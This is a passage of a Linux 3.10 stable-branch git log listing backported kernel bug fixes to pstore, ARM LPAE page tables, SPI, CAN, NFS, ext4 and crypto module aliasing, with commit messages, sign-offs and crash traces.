Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e692c5117e2db4637d0b1051bcbc4efdf50c2834 Author: Aruna Balakrishnaiah Date: Tue Jun 25 14:33:56 2013 +0530 pstore: Fail to unlink if a driver has not defined pstore_erase commit bf2883339a33b7544b92ea465b90c3de55082032 upstream. pstore_erase is used to erase the record from the persistent store. So if a driver has not defined pstore_erase callback return -EPERM instead of unlinking a file as deleting the file without erasing its record in persistent store will give a wrong impression to customers. Signed-off-by: Aruna Balakrishnaiah Acked-by: Kees Cook Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 59953bfb9cdfcefcbac9b08101ebb82b5d3d6e81 Author: Steven Capper Date: Fri Jul 18 16:16:15 2014 +0100 ARM: 8109/1: mm: Modify pte_write and pmd_write logic for LPAE commit ded9477984690d026e46dd75e8157392cea3f13f upstream. For LPAE, we have the following means for encoding writable or dirty ptes: L_PTE_DIRTY L_PTE_RDONLY !pte_dirty && !pte_write 0 1 !pte_dirty && pte_write 0 1 pte_dirty && !pte_write 1 1 pte_dirty && pte_write 1 0 So we can't distinguish between writeable clean ptes and read only ptes. This can cause problems with ptes being incorrectly flagged as read only when they are writeable but not dirty. This patch renumbers L_PTE_RDONLY from AP[2] to a software bit #58, and adds additional logic to set AP[2] whenever the pte is read only or not dirty. That way we can distinguish between clean writeable ptes and read only ptes. HugeTLB pages will use this new logic automatically. We need to add some logic to Transparent HugePages to ensure that they correctly interpret the revised pgprot permissions (L_PTE_RDONLY has moved and no longer matches PMD_SECT_AP2). In the process of revising THP, the names of the PMD software bits have been prefixed with L_ to make them easier to distinguish from their hardware bit counterparts. Signed-off-by: Steve Capper Reviewed-by: Will Deacon Signed-off-by: Russell King [hpy: Backported to 3.10 - adjust the context - ignore change related to pmd, because 3.10 does not support HugePage ] Signed-off-by: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b73a6101cac4a24f52cf57d7570731adb31f7a5 Author: Steven Capper Date: Fri Jul 18 16:15:27 2014 +0100 ARM: 8108/1: mm: Introduce {pte,pmd}_isset and {pte,pmd}_isclear commit f2950706871c4b6e8c0f0d7c3f62d35930b8de63 upstream. Long descriptors on ARM are 64 bits, and some pte functions such as pte_dirty return a bitwise-and of a flag with the pte value. If the flag to be tested resides in the upper 32 bits of the pte, then we run into the danger of the result being dropped if downcast. For example: gather_stats(page, md, pte_dirty(*pte), 1); where pte_dirty(*pte) is downcast to an int. This patch introduces a new macro pte_isset which performs the bitwise and, then performs a double logical invert (where needed) to ensure predictable downcasting. The logical inverse pte_isclear is also introduced. Equivalent pmd functions for Transparent HugePages have also been added. Signed-off-by: Steve Capper Reviewed-by: Will Deacon Signed-off-by: Russell King [hpy: Backported to 3.10: - adjust the context - ignore change to pmd, because 3.10 does not support HugePage.] Signed-off-by: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 243544542469ea73dc4b1fe2da1d6afa5242397f Author: Russell King Date: Thu Jul 17 12:17:45 2014 +0100 ARM: DMA: ensure that old section mappings are flushed from the TLB commit 6b076991dca9817e75c37e2f0db6d52611ea42fa upstream. When setting up the CMA region, we must ensure that the old section mappings are flushed from the TLB before replacing them with page tables, otherwise we can suffer from mismatched aliases if the CPU speculatively prefetches from these mappings at an inopportune time. A mismatched alias can occur when the TLB contains a section mapping, but a subsequent prefetch causes it to load a page table mapping, resulting in the possibility of the TLB containing two matching mappings for the same virtual address region. Acked-by: Will Deacon Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2bdd8feec618fab0caad12ec08936cb7562167b9 Author: Laura Abbott Date: Sat Dec 21 01:03:06 2013 +0100 ARM: 7931/1: Correct virt_addr_valid commit efea3403d4b7c6d1dd5d5ac3234c161e8b314d66 upstream. The definition of virt_addr_valid is that virt_addr_valid should return true if and only if virt_to_page returns a valid pointer. The current definition of virt_addr_valid only checks against the virtual address range. There's no guarantee that just because a virtual address falls bewteen PAGE_OFFSET and high_memory the associated physical memory has a valid backing struct page. Follow the example of other architectures and convert to pfn_valid to verify that the virtual address is actually valid. The check for an address between PAGE_OFFSET and high_memory is still necessary as vmalloc/highmem addresses are not valid with virt_to_page. Cc: Will Deacon Cc: Nicolas Pitre Acked-by: Will Deacon Signed-off-by: Laura Abbott Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1565718687ea90e0eecdde8f79cb28223d568066 Author: Russell King Date: Tue Dec 10 19:21:08 2013 +0000 ARM: fix asm/memory.h build error commit b713aa0b15015a65ad5421543b80df86de043d62 upstream. Jason Gunthorpe reports a build failure when ARM_PATCH_PHYS_VIRT is not defined: In file included from arch/arm/include/asm/page.h:163:0, from include/linux/mm_types.h:16, from include/linux/sched.h:24, from arch/arm/kernel/asm-offsets.c:13: arch/arm/include/asm/memory.h: In function '__virt_to_phys': arch/arm/include/asm/memory.h:244:40: error: 'PHYS_OFFSET' undeclared (first use in this function) arch/arm/include/asm/memory.h:244:40: note: each undeclared identifier is reported only once for each function it appears in arch/arm/include/asm/memory.h: In function '__phys_to_virt': arch/arm/include/asm/memory.h:249:13: error: 'PHYS_OFFSET' undeclared (first use in this function) Fixes: ca5a45c06cd4 ("ARM: mm: use phys_addr_t appropriately in p2v and v2p conversions") Tested-By: Jason Gunthorpe Signed-off-by: Russell King [hpy: Backported to 3.10: - adjust the context - MPU is not supported by 3.10, so ignore fix to MPU compared with the original patch.] Signed-off-by: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a46890af8abd8d126c79b0540db6de926eeaa27d Author: Chen Gang Date: Sat Oct 26 15:07:25 2013 +0100 ARM: 7867/1: include: asm: use 'int' instead of 'unsigned long' for 'oldval' in atomic_cmpxchg(). commit 4dcc1cf7316a26e112f5c9fcca531ff98ef44700 upstream. For atomic_cmpxchg(), the type of 'oldval' need be 'int' to match the type of "*ptr" (used by 'ldrex' instruction) and 'old' (used by 'teq' instruction). Reviewed-by: Will Deacon Signed-off-by: Chen Gang Signed-off-by: Will Deacon Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53b9928ac917bf69956aacd94f9f29f7fbc6d950 Author: Chen Gang Date: Sat Oct 26 15:07:04 2013 +0100 ARM: 7866/1: include: asm: use 'long long' instead of 'u64' within atomic.h commit 237f12337cfa2175474e4dd015bc07a25eb9080d upstream. atomic* value is signed value, and atomic* functions need also process signed value (parameter value, and return value), so 32-bit arm need use 'long long' instead of 'u64'. After replacement, it will also fix a bug for atomic64_add_negative(): "u64 is never less than 0". The modifications are: in vim, use "1,% s/\/long long/g" command. remove '__aligned(8)' which is useless for 64-bit. be sure of 80 column limitation after replacement. Acked-by: Will Deacon Signed-off-by: Chen Gang Signed-off-by: Will Deacon Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fa303356d1c3d39027bf3f436a28277b13f9dd3 Author: Will Deacon Date: Thu May 2 13:52:01 2013 +0100 ARM: lpae: fix definition of PTE_HWTABLE_PTRS commit e38a517578d6c0f764b0d0f6e26dcdf9f70c69d7 upstream. For 2-level page tables, PTE_HWTABLE_PTRS describes the offset between Linux PTEs and hardware PTEs. On LPAE, there is no distinction (since we have 64-bit descriptors with plenty of space) so PTE_HWTABLE_PTRS should be 0. Unfortunately, it is wrongly defined as PTRS_PER_PTE, meaning that current pte table flushing is off by a page. Luckily, all current LPAE implementations are SMP, so the hardware walker can snoop L1. This patch fixes the broken definition. Acked-by: Catalin Marinas Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b78ad6183e4b361a483d90906dfb65d1b223cf9 Author: Cyril Chemparathy Date: Wed Sep 12 10:19:05 2012 -0400 ARM: fix type of PHYS_PFN_OFFSET to unsigned long commit 5b20c5b2f014ecc0a6310988af69cd7ede9e7c67 upstream. On LPAE machines, PHYS_OFFSET evaluates to a phys_addr_t and this type is inherited by the PHYS_PFN_OFFSET definition as well. Consequently, the kernel build emits warnings of the form: init/main.c: In function 'start_kernel': init/main.c:588:7: warning: format '%lx' expects argument of type 'long unsigned int', but argument 2 has type 'phys_addr_t' [-Wformat] This patch fixes this warning by pinning down the PFN type to unsigned long. Signed-off-by: Cyril Chemparathy Acked-by: Nicolas Pitre Tested-by: Santosh Shilimkar Tested-by: Subash Patel Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1759d97534e4c57449e65d3be814acc5544ad2d Author: Vitaly Andrianov Date: Tue Jul 10 14:41:17 2012 -0400 ARM: LPAE: use phys_addr_t in alloc_init_pud() commit 20d6956d8cd2452cec0889ff040f18afc03c2e6b upstream. This patch fixes the alloc_init_pud() function to use phys_addr_t instead of unsigned long when passing in the phys argument. This is an extension to commit 97092e0c56830457af0639f6bd904537a150ea4a (ARM: pgtable: use phys_addr_t for physical addresses), which applied similar changes elsewhere in the ARM memory management code. Signed-off-by: Vitaly Andrianov Signed-off-by: Cyril Chemparathy Acked-by: Nicolas Pitre Acked-by: Catalin Marinas Tested-by: Santosh Shilimkar Tested-by: Subash Patel Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 272c3453f5ecf21d7e2d82cec42803a846c983d4 Author: Cyril Chemparathy Date: Sun Jul 22 13:40:38 2012 -0400 ARM: LPAE: use signed arithmetic for mask definitions commit 926edcc747e2efb3c9add7ed4dbc4e7a3a959d02 upstream. This patch applies to PAGE_MASK, PMD_MASK, and PGDIR_MASK, where forcing unsigned long math truncates the mask at the 32-bits. This clearly does bad things on PAE systems. This patch fixes this problem by defining these masks as signed quantities. We then rely on sign extension to do the right thing. Signed-off-by: Cyril Chemparathy Signed-off-by: Vitaly Andrianov Reviewed-by: Nicolas Pitre Reviewed-by: Catalin Marinas Tested-by: Santosh Shilimkar Tested-by: Subash Patel Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 909ccc073610e515d758049f2a8856ed9701cce2 Author: Steve Capper Date: Fri May 17 12:32:55 2013 +0100 ARM: mm: correct pte_same behaviour for LPAE. commit dde1b65110353517816bcbc58539463396202244 upstream. For 3 levels of paging the PTE_EXT_NG bit will be set for user address ptes that are written to a page table but not for ptes created with mk_pte. This can cause some comparison tests made by pte_same to fail spuriously and lead to other problems. To correct this behaviour, we mask off PTE_EXT_NG for any pte that is present before running the comparison. Signed-off-by: Steve Capper Reviewed-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12436b2835d64601e9b009df24c19c37f0c9da20 Author: Mugunthan V N Date: Thu Jan 22 15:19:22 2015 +0530 drivers: net: cpsw: discard dual emac default vlan configuration commit 02a54164c52ed6eca3089a0d402170fbf34d6cf5 upstream. In Dual EMAC, the default VLANs are used to segregate Rx packets between the ports, so adding the same default VLAN to the switch will affect the normal packet transfers. So returning error on addition of dual EMAC default VLANs. Even if EMAC 0 default port VLAN is added to EMAC 1, it will lead to break dual EMAC port separations. Fixes: d9ba8f9e6298 (driver: net: ethernet: cpsw: dual emac interface implementation) Reported-by: Felipe Balbi Signed-off-by: Mugunthan V N Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 487ca3192b3f764745b7d0670954b48a2333ea2e Author: Mika Westerberg Date: Mon Dec 29 10:33:36 2014 +0200 spi/pxa2xx: Clear cur_chip pointer before starting next message commit c957e8f084e0d21febcd6b8a0ea9631eccc92f36 upstream. Once the current message is finished, the driver notifies SPI core about this by calling spi_finalize_current_message(). This function queues next message to be transferred. If there are more messages in the queue, it is possible that the driver is asked to transfer the next message at this point. When spi_finalize_current_message() returns the driver clears the drv_data->cur_chip pointer to NULL. The problem is that if the driver already started the next message clearing drv_data->cur_chip will cause NULL pointer dereference which crashes the kernel like: BUG: unable to handle kernel NULL pointer dereference at 0000000000000048 IP: [] cs_deassert+0x18/0x70 [spi_pxa2xx_platform] PGD 78bb8067 PUD 37712067 PMD 0 Oops: 0000 [#1] SMP Modules linked in: CPU: 1 PID: 11 Comm: ksoftirqd/1 Tainted: G O 3.18.0-rc4-mjo #5 Hardware name: Intel Corp. VALLEYVIEW B3 PLATFORM/NOTEBOOK, BIOS MNW2CRB1.X64.0071.R30.1408131301 08/13/2014 task: ffff880077f9f290 ti: ffff88007a820000 task.ti: ffff88007a820000 RIP: 0010:[] [] cs_deassert+0x18/0x70 [spi_pxa2xx_platform] RSP: 0018:ffff88007a823d08 EFLAGS: 00010202 RAX: 0000000000000008 RBX: ffff8800379a4430 RCX: 0000000000000026 RDX: 0000000000000000 RSI: 0000000000000246 RDI: ffff8800379a4430 RBP: ffff88007a823d18 R08: 00000000ffffffff R09: 000000007a9bc65a R10: 000000000000028f R11: 0000000000000005 R12: ffff880070123e98 R13: ffff880070123de8 R14: 0000000000000100 R15: ffffc90004888000 FS: 0000000000000000(0000) GS:ffff880079a80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000048 CR3: 000000007029b000 CR4: 00000000001007e0 Stack: ffff88007a823d58 ffff8800379a4430 ffff88007a823d48 ffffffffa0022c89 0000000000000000 ffff8800379a4430 0000000000000000 0000000000000006 ffff88007a823da8 ffffffffa0023be0 ffff88007a823dd8 ffffffff81076204 Call Trace: [] giveback+0x69/0xa0 [spi_pxa2xx_platform] [] pump_transfers+0x710/0x740 [spi_pxa2xx_platform] [] ? pick_next_task_fair+0x744/0x830 [] tasklet_action+0xa9/0xe0 [] __do_softirq+0xee/0x280 [] run_ksoftirqd+0x20/0x40 [] smpboot_thread_fn+0xff/0x1b0 [] ? SyS_setgroups+0x150/0x150 [] kthread+0xcd/0xf0 [] ? kthread_create_on_node+0x180/0x180 [] ret_from_fork+0x7c/0xb0 Fix this by clearing drv_data->cur_chip before we call spi_finalize_current_message(). Reported-by: Martin Oldfield Signed-off-by: Mika Westerberg Acked-by: Robert Jarzmik Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95b22739d3ace8dc3dac1aedbc6e52c23d2964be Author: Joe Thornber Date: Wed Jan 28 12:07:46 2015 +0000 dm cache: fix missing ERR_PTR returns and handling commit 766a78882ddf79b162243649d7dfdbac1fb6fb88 upstream. Commit 9b1cc9f251 ("dm cache: share cache-metadata object across inactive and active DM tables") mistakenly ignored the use of ERR_PTR returns. Restore missing IS_ERR checks and ERR_PTR returns where appropriate. Reported-by: Dan Carpenter Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f1e3fbd87fedfc2575e10745ded0fa9791b4118 Author: Joe Thornber Date: Mon Jan 26 11:38:21 2015 +0000 dm thin: don't allow messages to be sent to a pool target in READ_ONLY or FAIL mode commit 2a7eaea02b99b6e267b1e89c79acc6e9a51cee3b upstream. You can't modify the metadata in these modes. It's better to fail these messages immediately than let the block-manager deny write locks on metadata blocks. Otherwise these failed metadata changes will trigger 'needs_check' to get set in the metadata superblock -- requiring repair using the thin_check utility. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 618b86d3aad9f9e8f77b4ebddd96dfc6dbba4a94 Author: Johannes Berg Date: Fri Jan 23 11:10:12 2015 +0100 nl80211: fix per-station group key get/del and memory leak commit 0fa7b39131576dd1baa6ca17fca53c65d7f62249 upstream. In case userspace attempts to obtain key information for or delete a unicast key, this is currently erroneously rejected unless the driver sets the WIPHY_FLAG_IBSS_RSN flag. Apparently enough drivers do so it was never noticed. Fix that, and while at it fix a potential memory leak: the error path in the get_key() function was placed after allocating a message but didn't free it - move it to a better place. Luckily admin permissions are needed to call this operation. Fixes: e31b82136d1ad ("cfg80211/mac80211: allow per-station GTKs") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit daedc2fc844ccdf1b71836d56df8b5f39fd8bbcb Author: Trond Myklebust Date: Wed Jan 21 14:37:44 2015 -0500 NFSv4.1: Fix an Oops in nfs41_walk_client_list commit 3175e1dcec40fab1a444c010087f2068b6b04732 upstream. If we start state recovery on a client that failed to initialise correctly, then we are very likely to Oops. Reported-by: "Mkrtchyan, Tigran" Link: http://lkml.kernel.org/r/130621862.279655.1421851650684.JavaMail.zimbra@desy.de Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50fb1bc7d504ad51f7867661666c569778fdd931 Author: Peng Tao Date: Tue Jan 20 07:44:29 2015 +0800 nfs: fix dio deadlock when O_DIRECT flag is flipped commit ee8a1a8b160a87dc3a9c81a86796aa4db85ea815 upstream. We only support swap file calling nfs_direct_IO. However, application might be able to get to nfs_direct_IO if it toggles O_DIRECT flag during IO and it can deadlock because we grab inode->i_mutex in nfs_file_direct_write(). So return 0 for such case. Then the generic layer will fall back to buffer IO. Signed-off-by: Peng Tao Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 71f8785fe95c14a656c8149eacd585b6c5407d6b Author: Jochen Hein Date: Thu Jan 22 12:03:15 2015 -0800 Input: i8042 - add noloop quirk for Medion Akoya E7225 (MD98857) commit 1d90d6d5522befa8efa1a7ea406be65cf865ded4 upstream. Without this the aux port does not get detected, and consequently the touchpad will not work. With this patch the touchpad is detected: $ dmesg | grep -E "(SYN|i8042|serio)" pnp 00:03: Plug and Play ACPI device, IDs SYN1d22 PNP0f13 (active) i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12 serio: i8042 KBD port at 0x60,0x64 irq 1 serio: i8042 AUX port at 0x60,0x64 irq 12 input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4 psmouse serio1: synaptics: Touchpad model: 1, fw: 8.1, id: 0x1e2b1, caps: 0xd00123/0x840300/0x126800, board id: 2863, fw id: 1473085 input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio1/input/input6 dmidecode excerpt for this laptop is: Handle 0x0001, DMI type 1, 27 bytes System Information Manufacturer: Medion Product Name: Akoya E7225 Version: 1.0 Signed-off-by: Jochen Hein Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8d48d3ccc580aa96489f0d15c6ce3870a4c2766 Author: Clemens Ladisch Date: Sun Jan 25 14:34:29 2015 +0100 ALSA: seq-dummy: remove deadlock-causing events on close commit 0767e95bb96d7fdddcd590fb809e6975d93aebc5 upstream. When the last subscriber to a "Through" port has been removed, the subscribed destination ports might still be active, so it would be wrong to send "all sounds off" and "reset controller" events to them. The proper place for such a shutdown would be the closing of the actual MIDI port (and close_substream() in rawmidi.c already can do this). This also fixes a deadlock when dummy_unuse() tries to send events to its own port that is already locked because it is being freed. Reported-by: Peter Billam Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bbf5efd9660b659dd7234d15bae060cdc58d4bd6 Author: Laurent Dufour Date: Thu Jan 15 18:23:47 2015 +0100 powerpc/xmon: Fix another endiannes issue in RTAS call from xmon commit e6eb2eba494d6f99e69ca3c3748cd37a2544ab38 upstream. The commit 3b8a3c010969 ("powerpc/pseries: Fix endiannes issue in RTAS call from xmon") was fixing an endianness issue in the call made from xmon to RTAS. However, as Michael Ellerman noticed, this fix was not complete, the token value was not byte swapped. This lead to call an unexpected and most of the time unexisting RTAS function, which is silently ignored by RTAS. This fix addresses this hole. Reported-by: Michael Ellerman Signed-off-by: Laurent Dufour Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45d8cd05d31431bde5a7a6a4978ef0f05d0c5aa6 Author: Ahmed S. Darwish Date: Mon Jan 26 07:25:43 2015 +0200 can: kvaser_usb: Fix state handling upon BUS_ERROR events commit e638642b08c170d2021b706f0b1c4f4ae93d8cbd upstream. While being in an ERROR_WARNING state, and receiving further bus error events with error counters still in the ERROR_WARNING range of 97-127 inclusive, the state handling code erroneously reverts back to ERROR_ACTIVE. Per the CAN standard, only revert to ERROR_ACTIVE when the error counters are less than 96. Moreover, in certain Kvaser models, the BUS_ERROR flag is always set along with undefined bits in the M16C status register. Thus use bitwise operators instead of full equality for checking that register against bus errors. Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06891ae64a3c26c9042de6f2b6765eee3b925148 Author: Ahmed S. Darwish Date: Mon Jan 26 07:24:06 2015 +0200 can: kvaser_usb: Retry the first bulk transfer on -ETIMEDOUT commit 14c10c2a1dd8eb8e00b750b521753260befa2789 upstream. On some x86 laptops, plugging a Kvaser device again after an unplug makes the firmware always ignore the very first command. For such a case, provide some room for retries instead of completely exiting the driver init code. Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d65ca8e5d20352fef7f8c797871edd76fe09d08c Author: Ahmed S. Darwish Date: Mon Jan 26 07:22:54 2015 +0200 can: kvaser_usb: Send correct context to URB completion commit 3803fa6977f1de15fda4e8646c8fec97c8045cae upstream. Send expected argument to the URB completion hander: a CAN netdevice instead of the network interface private context `kvaser_usb_net_priv'. This was discovered by having some garbage in the kernel log in place of the netdevice names: can0 and can1. Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f93abf763e29a61d0e28c9d1f1373457f2a64a06 Author: Ahmed S. Darwish Date: Mon Jan 26 07:20:39 2015 +0200 can: kvaser_usb: Do not sleep in atomic context commit ded5006667318c06df875609535176bd33f243a1 upstream. Upon receiving a hardware event with the BUS_RESET flag set, the driver kills all of its anchored URBs and resets all of its transmit URB contexts. Unfortunately it does so under the context of URB completion handler `kvaser_usb_read_bulk_callback()', which is often called in an atomic context. While the device is flooded with many received error packets, usb_kill_urb() typically sleeps/reschedules till the transfer request of each killed URB in question completes, leading to the sleep in atomic bug. [3] In v2 submission of the original driver patch [1], it was stated that the URBs kill and tx contexts reset was needed since we don't receive any tx acknowledgments later and thus such resources will be locked down forever. Fortunately this is no longer needed since an earlier bugfix in this patch series is now applied: all tx URB contexts are reset upon CAN channel close. [2] Moreover, a BUS_RESET is now treated _exactly_ like a BUS_OFF event, which is the recommended handling method advised by the device manufacturer. [1] http://article.gmane.org/gmane.linux.network/239442 http://www.webcitation.org/6Vr2yagAQ [2] can: kvaser_usb: Reset all URB tx contexts upon channel close 889b77f7fd2bcc922493d73a4c51d8a851505815 [3] Stacktrace: [] dump_stack+0x45/0x57 [] __schedule_bug+0x41/0x4f [] __schedule+0x5f1/0x700 [] ? _raw_spin_unlock_irqrestore+0xa/0x10 [] schedule+0x24/0x70 [] usb_kill_urb+0x65/0xa0 [] ? prepare_to_wait_event+0x110/0x110 [] usb_kill_anchored_urbs+0x48/0x80 [] kvaser_usb_unlink_tx_urbs+0x18/0x50 [kvaser_usb] [] kvaser_usb_rx_error+0xc0/0x400 [kvaser_usb] [] ? vprintk_default+0x1a/0x20 [] kvaser_usb_read_bulk_callback+0x4c1/0x5f0 [kvaser_usb] [] __usb_hcd_giveback_urb+0x5e/0xc0 [] usb_hcd_giveback_urb+0x41/0x110 [] finish_urb+0x98/0x180 [ohci_hcd] [] ? acct_account_cputime+0x17/0x20 [] ? local_clock+0x15/0x30 [] ohci_work+0x1fb/0x5a0 [ohci_hcd] [] ? process_backlog+0xb1/0x130 [] ohci_irq+0xeb/0x270 [ohci_hcd] [] usb_hcd_irq+0x21/0x30 [] handle_irq_event_percpu+0x43/0x120 [] handle_irq_event+0x3d/0x60 [] handle_fasteoi_irq+0x74/0x110 [] handle_irq+0x1d/0x30 [] do_IRQ+0x57/0x100 [] common_interrupt+0x6a/0x6a Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1c63554b53f071e04e5507b7366f107f7166079 Author: Zidan Wang Date: Wed Dec 31 11:39:14 2014 +0800 ASoC: wm8960: Fix capture sample rate from 11250 to 11025 commit 22ee76daddb87f88d2336d1b4737ef27c4f307ac upstream. wm8960 codec can't support sample rate 11250, it must be 11025. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ae0590fe23bc841509ed86f8e5e27a0419f0849 Author: Andy Shevchenko Date: Fri Jan 2 17:48:51 2015 +0200 spi: dw-mid: fix FIFO size commit 67bf9cda4b498b8cea4a40be67a470afe57d2e88 upstream. The FIFO size is 40 accordingly to the specifications, but this means 0x40, i.e. 64 bytes. This patch fixes the typo and enables FIFO size autodetection for Intel MID devices. Fixes: 7063c0d942a1 (spi/dw_spi: add DMA support) Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5be044d4d33996ebca63dfff574cd40d2e8fd657 Author: Greg Kroah-Hartman Date: Thu Jan 29 17:42:36 2015 -0800 Linux 3.10.67 Signed-off-by: Pranav Vashi commit 71e16237b4202a1d832535d29e401601e1f14465 Author: NeilBrown Date: Wed Dec 3 16:07:58 2014 +1100 md/raid5: fetch_block must fetch all the blocks handle_stripe_dirtying wants. commit 108cef3aa41669610e1836fe638812dd067d72de upstream. It is critical that fetch_block() and handle_stripe_dirtying() are consistent in their analysis of what needs to be loaded. Otherwise raid5 can wait forever for a block that won't be loaded. Currently when writing to a RAID5 that is resyncing, to a location beyond the resync offset, handle_stripe_dirtying chooses a reconstruct-write cycle, but fetch_block() assumes a read-modify-write, and a lockup can happen. So treat that case just like RAID6, just as we do in handle_stripe_dirtying. RAID6 always does reconstruct-write. This bug was introduced when the behaviour of handle_stripe_dirtying was changed in 3.7, so the patch is suitable for any kernel since, though it will need careful merging for some versions. Cc: stable@vger.kernel.org (v3.7+) Fixes: a7854487cd7128a30a7f4f5259de9f67d5efb95f Reported-by: Henry Cai Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ddf993b700341fda8e1dfc322b2ca4c82ec3d2d3 Author: Jan Kara Date: Sat Aug 17 09:36:54 2013 -0400 ext4: fix warning in ext4_da_update_reserve_space() commit 7d7345322d60edb0fa49a64a89b31360f01d09cb upstream. reaim workfile.dbase test easily triggers warning in ext4_da_update_reserve_space(): EXT4-fs warning (device ram0): ext4_da_update_reserve_space:365: ino 12, allocated 1 with only 0 reserved metadata blocks (releasing 1 blocks with reserved 9 data blocks) The problem is that (one of) tests creates file and then randomly writes to it with O_SYNC. That results in writing back pages of the file in random order so we create extents for written blocks say 0, 2, 4, 6, 8 - this last allocation also allocates new block for extents. Then we writeout block 1 so we have extents 0-2, 4, 6, 8 and we release indirect extent block because extents fit in the inode again. Then we writeout block 10 and we need to allocate indirect extent block again which triggers the warning because we don't have the reservation anymore. Fix the problem by giving back freed metadata blocks resulting from extent merging into inode's reservation pool. Signed-off-by: Jan Kara Cc: Josh Hunt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3f71a92b18fb87ea71900e04317f0caffe418c6 Author: Jan Kara Date: Sat Aug 17 09:32:32 2013 -0400 quota: provide interface for readding allocated space into reserved space commit 1c8924eb106c1ac755d5d35ce9b3ff42e89e2511 upstream. ext4 needs to convert allocated (metadata) blocks back into blocks reserved for delayed allocation. Add functions into quota code for supporting such operation. Signed-off-by: Jan Kara Signed-off-by: "Theodore Ts'o" Cc: Josh Hunt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96510ba4076d525315fcfbdafb8e5bfb651274ac Author: Mathias Krause Date: Sun Jan 11 18:17:42 2015 +0100 crypto: add missing crypto module aliases commit 3e14dcf7cb80b34a1f38b55bc96f02d23fdaaaaf upstream. Commit 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") changed the automatic module loading when requesting crypto algorithms to prefix all module requests with "crypto-". This requires all crypto modules to have a crypto specific module alias even if their file name would otherwise match the requested crypto algorithm. Even though commit 5d26a105b5a7 added those aliases for a vast amount of modules, it was missing a few. Add the required MODULE_ALIAS_CRYPTO annotations to those files to make them get loaded automatically, again. This fixes, e.g., requesting 'ecb(blowfish-generic)', which used to work with kernels v3.18 and below. Also change MODULE_ALIAS() lines to MODULE_ALIAS_CRYPTO(). The former won't work for crypto modules any more. Fixes: 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") Cc: Kees Cook Signed-off-by: Mathias Krause Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82789f923439e83cdd9f6349a9e562841e536fe8 Author: Kees Cook Date: Mon Nov 24 16:32:38 2014 -0800 crypto: include crypto- module prefix in template commit 4943ba16bbc2db05115707b3ff7b4874e9e3c560 upstream. This adds the module loading prefix "crypto-" to the template lookup as well. For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly 